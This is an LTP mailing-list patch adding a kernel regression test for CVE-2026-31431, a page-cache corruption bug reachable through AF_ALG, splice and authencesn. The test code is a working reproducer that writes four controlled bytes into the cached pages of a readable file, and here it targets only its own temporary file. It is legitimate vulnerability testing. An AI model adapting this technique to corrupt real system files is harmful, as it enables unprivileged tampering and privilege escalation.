[LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer

Andrea Cervesato andrea.cervesato@suse.de
Thu Apr 30 15:30:17 CEST 2026


From: Andrea Cervesato <andrea.cervesato@suse.com>

A logic bug in authencesn allows an unprivileged user to corrupt
4 bytes of page cache via AF_ALG + splice. The test writes known
data to a file, attempts corruption through the AEAD scratch-write
path, and verifies whether the file content was modified.

Tested-by: Avinesh Kumar <avinesh.kumar@suse.com>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                        |   1 +
 testcases/kernel/crypto/.gitignore |   1 +
 testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
 3 files changed, 166 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
 cve-2022-4378 cve-2022-4378
 cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
+cve-2026-31431 af_alg08
diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore
index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644
--- a/testcases/kernel/crypto/.gitignore
+++ b/testcases/kernel/crypto/.gitignore
@@ -5,6 +5,7 @@ af_alg04
 af_alg05
 af_alg06
 af_alg07
+af_alg08
 pcrypt_aead01
 crypto_user01
 crypto_user02
diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c
new file mode 100644
index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9
--- /dev/null
+++ b/testcases/kernel/crypto/af_alg08.c
@@ -0,0 +1,164 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
+ * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
+ *
+ * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
+ * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
+ * into the page cache of any readable file. During AEAD decryption,
+ * authencesn uses the destination scatterlist as scratch space for ESN byte
+ * rearrangement. When data is spliced from a file into an AF_ALG socket, the
+ * 2017 in-place optimization (72548b093ee3) places page cache pages into the
+ * writable destination scatterlist. authencesn's scratch write then corrupts
+ * those pages.
+ *
+ * The test creates a file with known data, attempts page cache corruption via
+ * the AF_ALG + splice technique, and verifies whether the file content was
+ * modified.
+ *
+ * Reproducer based on:
+ * https://github.com/theori-io/copy-fail-CVE-2026-31431
+ */
+
+#include "tst_test.h"
+#include "tst_af_alg.h"
+#include "lapi/socket.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "copy_fail"
+#define OVERWRITE_SIZE 4
+#define AEAD_AUTHSIZE 4
+#define AEAD_ASSOCLEN 8
+#define AES_IV_SIZE 16
+#define SPI_SIZE 4
+
+static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
+static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
+
+/*
+ * authenc key format: struct rtattr header (8 bytes) +
+ * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
+ */
+static const uint8_t authenc_key[] = {
+	0x08, 0x00, 0x01, 0x00,
+	0x00, 0x00, 0x00, 0x10,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+static int algfd = -1;
+static int reqfd = -1;
+static int pipefd[2] = { -1, -1 };
+static int file_fd = -1;
+
+static void try_corrupt(void)
+{
+	const uint8_t iv[AES_IV_SIZE] = { 0 };
+	uint8_t aad[AEAD_ASSOCLEN];
+	char recvbuf[AEAD_ASSOCLEN];
+	loff_t off_in = 0;
+
+	algfd = -1;
+	reqfd = -1;
+	pipefd[0] = -1;
+	pipefd[1] = -1;
+
+	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
+	memset(aad, 'A', SPI_SIZE);
+	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
+
+	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
+			      authenc_key, sizeof(authenc_key));
+	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
+			AEAD_AUTHSIZE);
+
+	reqfd = tst_alg_accept(algfd);
+
+	const struct tst_alg_sendmsg_params params = {
+		.decrypt = true,
+		.iv = iv,
+		.ivlen = AES_IV_SIZE,
+		.assoclen = AEAD_ASSOCLEN,
+		.msg_flags = MSG_MORE,
+	};
+
+	tst_alg_sendmsg(reqfd, aad, sizeof(aad), &params);
+
+	SAFE_PIPE(pipefd);
+
+	TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
+
+	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
+
+	/* Expected to fail (invalid ciphertext); triggers the scratch write */
+	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
+
+	SAFE_CLOSE(pipefd[0]);
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_CLOSE(reqfd);
+	SAFE_CLOSE(algfd);
+}
+
+static void run(void)
+{
+	int fd;
+	uint8_t readback[OVERWRITE_SIZE];
+
+	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
+	SAFE_CLOSE(fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt();
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
+		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (pipefd[0] != -1)
+		SAFE_CLOSE(pipefd[0]);
+
+	if (pipefd[1] != -1)
+		SAFE_CLOSE(pipefd[1]);
+
+	if (reqfd != -1)
+		SAFE_CLOSE(reqfd);
+
+	if (algfd != -1)
+		SAFE_CLOSE(algfd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a664bf3d603d"},
+		{"CVE", "2026-31431"},
+		{}
+	},
+};

-- 
2.51.0



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